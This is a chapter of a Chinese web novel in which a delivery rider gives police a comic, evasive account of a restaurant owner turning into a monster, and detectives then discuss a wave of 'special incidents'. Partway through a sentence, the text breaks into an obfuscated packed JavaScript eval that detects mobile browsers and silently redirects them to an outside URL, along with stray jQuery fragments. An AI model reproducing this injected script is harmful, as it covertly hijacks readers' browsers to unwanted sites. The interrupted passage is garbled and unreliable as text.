“姓名。”


    “苏余。”


    “性别。”


    “男。”


    “年龄。”


    ……


    “你好，我是……”


    “下面根据《刑事诉讼法》相关规定……”


    “……关于“好朋友饭店”老板失踪案，你作为现场唯一目击者，我们就本案相关情况，向你询问一些案情细节，你需如实回答！与本案无关的问题，你有权拒绝回答，但你有义务配合警方调查，以便尽快破案……”


    时隔一天，苏余再次坐在了警察局那间布置温馨的接待室里。


    熟悉的场景，熟悉的人员，熟悉的开场白，让苏余恍若昨夕。


    “苏余，你听清楚了吗？”


    “啊？哦，听清了，听清了。”苏余猛地回神，赶紧坐直身体。


    肩挂三级警督的国字脸警官抿了口保温杯里的枸杞茶，笑道：“小伙子，咱们还挺有缘啊，都说一回生二回熟，咱们这也算熟人了对吧？来，和叔说说，你到饭店时看到了什么，听到了什么，以及后面又发生了什么？”


    “好嘞叔！”苏余乖巧点头，“我当时接了一单，取餐商家就是这家饭馆，因为赶上晚高峰，所以我就抄近道赶到店里……”


    “等等！”国字脸抬手打断他的话，“请你回忆一下到达饭馆的具体时间。”


    苏余想了想：“差五分钟七点半。”


    “哟，记得这么清楚？”


    苏余骄傲的挺挺胸：“那当然，我这人可是很有时间概念的，除非发生不可抗拒的意外情况，不然我绝不允许我手里有一单超时！做一行爱一行，我相信，公司终有一天会以我为荣！”


    国字脸端着保温杯的手抖了抖：“……好，请继续。”


    苏余清了清嗓子，继续道：“我到的时候已经不算早了，在店里等了十来分钟都没见老板出餐，眼见订单快要超时了，就想问问老板什么时候出餐，但我叫了好几声对方都……呃，都没有回答，然后我感觉有点不对劲，就想去后厨看看……”


    “等等！”国字脸再次打断苏余的话，“能说说你具体是从哪里感觉到不对劲的吗？”


    “就是……”苏余脑袋一歪，十分熟练的找补，“男人的第六感。”


    国字脸嘴角抽了抽。


    这话咋这么耳熟呢？如果没记错的话，昨天这小子被询问的时候，好像用的也是这个借口吧？这也太不走心了！


    国字脸深吸一口气，压下心头的无奈：“……行，你继续。”


    苏余酝酿了一下情绪，满脸惊恐地继续讲述，“我小心翼翼地走到后厨门口，一掀那布帘……我的妈呀！店老板不知怎么回事，变成了个浑身血红的肌肉怪物，身上还往下淌着血，血渍拉忽的……叔，你是没看见，那场面简直吓死人！而且明明他都那副德行了，店老板还站在灶台前，尽职尽责的炒菜！他真的，我哭死……”


    国字脸：咳！（咳嗽警告！）


    苏余赶紧收敛表情，装作一脸后怕的样子，继续说道，“嗯……然后那店老板变成的怪物发现了我，身体向后一折，肚子里长出了好多只脚，跟个大蜘蛛似的，扑过来想吃了我！我当时慌极了，吓得‘啊啊啊’一顿乱跑，慌乱间还摔了跤，也不知道撞在了哪里，都流血了。”


    说着，苏余拉起袖子，展示了一下手臂上已经包扎过的擦伤。


    “眼见我就要小命不保，就在这时，一名带着孙悟空面具的大帅哥忽然破门而入，犹如神兵天降般挡在我与怪物之间，抡起桌子就冲怪物砸了上去……”


    “等等！”忍无可忍，国字脸再次打断苏余略显浮夸的讲述，语气严厉了起来，“你就没觉得，你说的这些话有哪里不对吗？”


    苏余赶紧把刚刚所说的经历从头到脚推敲一遍，感觉没什么纰漏，他摇头：“没有。”


    国字脸重重一拍桌面，严厉道：“狡辩！正常人逃命是怎么跑的，你又是怎么跑的？”


    “额？怎么跑的？”苏余有些迷茫地举起双手，一边在头顶上摇了摇，口里一边发出“啊啊啊，救命啊”地平直音，脚还在桌子底下有节奏的倒腾，模仿着跑步的样子，“就这么跑的。”


    “噗呲——”旁边做笔录的年轻警员实在没忍住笑出了声，然后在国字脸严厉的目光里努力抿抿嘴，好不容易才把笑给憋住了。


    国字脸敲敲桌子：“请严肃点，这里不是说笑的场合！”


    苏余无辜摊手：“我真没说笑，我当时就是这么跑的啊。”


    “好，那我问你。”国字脸沉声道，“正常人遇到危险，不应该往安全的地方跑吗？那间饭馆的厨房布局是灶台在后厨门的对面，如果你进去的时候，店老板变成了怪物还站在灶台前炒菜，那你的第一反应，应该是立刻退出去吧？毕竟后厨门就在你身后，那才是最安全的生路！”


    “啊，对哦，叔你这么一说，我又回想起来了！”苏余心里咯噔一下，赶紧打补丁，“我当时确实打算悄悄退出去，但是后退了一步才发现，身后的门没了，还变成堵墙……整个厨房成了个地狱画风的封闭空间，我没办法退出去，这才到处乱跑的。”


    国字脸盯着他看了好一会儿，似乎在判断他说的是真是假，半晌才继续开口：“好，那我再问你一个问题。既然当时厨房是封闭空间，没有门，那你说的那个‘神兵天降’，是怎么‘破门而入’的？”


    “……”苏余感觉自己的冷汗都要冒出来了。


    他承认，之前他确实小看了警察蜀黍们的断案能力，本来以为反正店老板现在活不见人，死不见尸，又涉及异常事件，自己随便编个故事就能糊弄过去，谁承想在人家警察蜀黍眼里简直漏洞百出！


    果然不能用自己的业余去挑战别人的专业啊，毕竟那是别人恰饭的本事。


    眼见糊弄不过去，苏余索性也不硬编了，一摊手开始耍无赖：“我当时都吓懵了，小命都快没了，哪有闲心留意到对方到底是怎么进来的啊！而且‘破门而入’只是引喻，个人习惯使然，叔，你别这么咬文嚼字嘛。”


    “哟，这还‘引喻’上了，没看出来你还是个大文豪啊？”国字脸都被苏余气笑了。


    谁知苏余羞涩一笑，谦虚道：“叔，你过誉了，大文豪谈不上，不过我还真考上了咱们春大，过几天就要入学了。”


    国字脸懒得和他贫，正色道：“行了，别扯这些没用的，接下来发生了什么？”


    苏余眼珠一转，满脸诚恳地继续说道：“接下来……我被吓晕了啊，再醒来就在救护车里，然后又被带到了您这里。”


    审讯室里顿时陷入了安静，只有墙上时钟在滴答滴答的响。


    国字脸盯着他，语气带着几分不可置信：“这就没了？”


    苏余耸耸肩：“这就没了。”


    国字脸：“就这么吓晕了？”


    苏余：“就这么吓晕了。”


    国字脸：“就这点胆子？”


    苏余：“就这点胆子。”


    国字脸满脸黑线地看着苏余。


    苏余也一脸无辜地看着他。


    那双鸦黑色的睫毛小扇子般一扇一扇的，眼神清澈又懵懂，活脱脱一只不谙世事的小白兔，连路过的狗看了都得上来评一句：少年，好演技！


    两人就这么大眼瞪小眼僵持了半晌，最终国字脸抹了把脸，反复默念了数遍“这是人民群众，是受害人，不是嫌疑人！”，心境才慢慢重归平静。


    端起保温杯灌了一口，国字脸叹了口气：“好吧，我们再重新梳理一遍案情。你当时为什么会进后厨去？”


    “去催单啊，再不催就超时了。”苏余直言，“我们外卖员的工作就是这样，有时候为了赶单，也会去后厨帮商家搭把手，比如添个米饭、打包饭菜饮料之类的，都算是正常情况。”


    “你进去后看见了什么？”


    “我看见店老板变成了个浑身血红的肌肉怪物，还在炉子上炒菜……”


    “你为什么会去这个店？”


    “啊？我前面不是说了吗，我接了单子，去订单指定的商家取餐……”


    就这样，苏余被各种问题翻来覆去地追问，又折腾了三、四个小时，直到国字脸确认，从苏余嘴里再也榨不出任何有用的信息，这才终于作罢，拿着笔录起身走出了接待室。


    他走到走廊尽头的办公室门口敲了敲门，得到回应后推门而入。


    “队长，这是询问笔录。”国字脸将笔录放在大队长的办公桌上，顺势拉过一把椅子坐下，脸上满是疲惫。


    春城刑侦队大队长坐在办公桌后，一边慢悠悠地喝着茶，一边翻看着笔录。


    翻到一半，他忽然皱起眉头：“又是一起特异事件？”


    “可不是嘛。”国字脸也不见外，顺手拎过茶壶给自己倒了一杯，一口饮尽，“这小子也是个奇葩，两天之内，接连碰上两起特异事件，还都是受害人身份，说他运气好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383395|197679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，可每次都差点丧命；说他运气差，偏偏每次都能化险为夷。”


    “呵呵，这小伙子倒是有点意思。”大队长嘴角勾了勾，眼底逐渐带上了几分玩味，“就是这编故事的水平还有待提高，又是肌肉怪物，又是大蜘蛛，整的跟玄幻小说似的。”


    “可不是嘛，我都被他气笑了。不过……”国字脸语气凝重起来，“现场勘察和痕检那边反馈，现在确实有第三者介入的痕迹，而且……那痕迹很奇怪，不像是人类留下的，更像是某种未知生物的爪印和□□残留。”


    大队长继续翻看笔录，看到后半段，眉头不由再次蹙起：“这个戴孙悟空面具的神秘人又出现了？”


    “是的。他目前出现的最早记录，是城东那个工地上，当时他救了四个人；这是第二次，救了一个。对他的侧写是：二十到二十五岁，身高一米八五，黑短发，带着破了个角的塑料孙悟空面具，武功高强，善使长枪，据说身材超好，宽肩窄腰大长腿，身材比例堪比超模……”


    见自家队长无语的看着他，国字脸淡定摊手，“看我做啥，又不是我说的，这是报警人的陈述。”


    大队长放下笔录，轻轻叹了口气：“如今这世道，真是越来越不太平了。特异事件扎堆出现，咱们刑侦队的压力也越来越大。”


    国字脸提议：“队长，要不咱们再跟总局请示一下，让特事科的同事来咱们分局一趟？”


    大队长无奈地摇了摇头：“我昨天就已经打了申请。这段时间，全国各地的特异事件都在增多，咱们市的情况你也清楚，特事科才刚刚组建，人手严重不足，个个都忙得脚不沾地，根本分身乏术。这样吧，我明天再给小晴队长打个电话，问问她能不能抽时间过来一趟，看看这边的情况。”


    国字脸往隔壁一努嘴：“那里面的小子咋办？”


    队长点点桌面，提醒道：“还能咋办？该放就放。人家又没犯事，只是个受害者，咱们就算是人民警察，也没理由扣着一个无辜公民不放，对吧？”


    “是。”国字脸起身就要走。


    “等等。”大队长忽然叫住他，补充道，“让信息科的同事加加班，调一下饭店周边的监控，看看那个戴孙悟空面具的神秘人到底是从哪里来的，又往哪里去了；另外，再查一下那个店老板今天的行动轨迹，看看他变成的怪物有没有逃脱的迹象。还有，派个外勤，悄悄盯着那小子，看看他有没有什么异常，说不定能从他身上找到什么突破口。”


    “明白！”国字脸立刻应下，转身快步走出办公室，去安排后续工作了。


    等苏余拿回被警察蜀黍收去的手机，已经过了凌晨12点，按下开机键后，消息提示音便响成了一片，“叮咚叮咚”的差点把他那小破手机塞宕机了。


    本着外卖员的职业操守，苏余没敢耽搁，第一时间点开了顾客的消息框，在一堆“在吗？”“到哪里了？”“我的餐呢？”“快要饿死了，你怎么还没来？”的询问短信里，最后那条信息：“不回话？行，你给我等着！劳资今天要是不给你打差评，劳资就跟你姓！”格外刺眼。


    苏余赶紧打字回复：亲，千万别打差评啊亲！不是我故意不回话，是因为某些不可抗拒因素才没法回复你的亲！


    没想到这么晚了，这位顾客竟然还在线，消息刚发出去，对方就秒回了。


    顾客“蒜鸟”回复：亲个屁啊亲，少跟劳资在这扯犊子！我就问你，我的外卖呢？我一直等到现在，肚子都快饿扁了！


    苏余回复：还在锅里。


    这次“蒜鸟”秒回：靠！老板干什么吃的？一盘菜炒几个小时？@店家


    苏余想了想，回复：别艾特了，收不到的。


    蒜鸟：为啥？


    苏余：他也在锅里。


    这次消息停歇的格外久，久到苏余以为对方不会回复了，正准备收起手机时，消息提醒声再次响起。


    蒜鸟：那那个，大哥，我想问一下下，您，您在哪里回我消息呢？


    苏余：警察局。


    （叮，温馨提示：顾客“蒜鸟”已退出群聊。）


    苏余满意的收起手机，他觉得这位顾客最近几个月怕是不会再点外卖了。


    很好，即为公司和同事剔除一名“爱打差评”的“不良客户”，又同时为一位可怜的打工人重新规划了每月的财务分配。


    嗯，他真不愧是热心市民苏先生啊！


    苏余心满意足的给自己发了张好人卡。